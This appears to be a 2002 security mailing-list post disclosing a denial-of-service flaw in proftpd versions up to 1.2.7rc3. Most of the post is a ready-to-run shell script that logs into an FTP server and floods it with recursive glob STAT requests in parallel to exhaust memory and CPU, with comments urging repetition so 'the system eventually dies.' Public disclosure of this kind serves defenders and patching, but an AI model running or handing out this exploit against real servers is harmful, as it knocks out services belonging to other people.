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proftpd <=1.2.7rc3 DoS
From: Rob klein Gunnewiek <rmkleing () hio hen nl>
Date: Sun, 8 Dec 2002 13:53:57 +0100 (MET)
Hello, proftpd is vulnerable to denial of service similar to the list */../*/../*/../*. #!/bin/sh # # proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least # might work against many other FTP daemons # consumes nearly all memory and alot of CPU # # tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3 # # 7-dec-02 - detach - www.duho.org # # use: ./prodos.sh <host> <user> <pass> # do this some more to make sure the system eventually dies cnt=25 while [ $cnt -gt 0 ] ; do ftp -n << EOF& o $1 quote user $2 quote pass $3 quote stat /*/*/*/*/*/*/* quit EOF let cnt=cnt-1 done sleep 2 killall -9 ftp echo DONE! #end
Current thread:
- proftpd <=1.2.7rc3 DoS Rob klein Gunnewiek (Dec 10)
- Re: proftpd <=1.2.7rc3 DoS Kurt Seifried (Dec 10)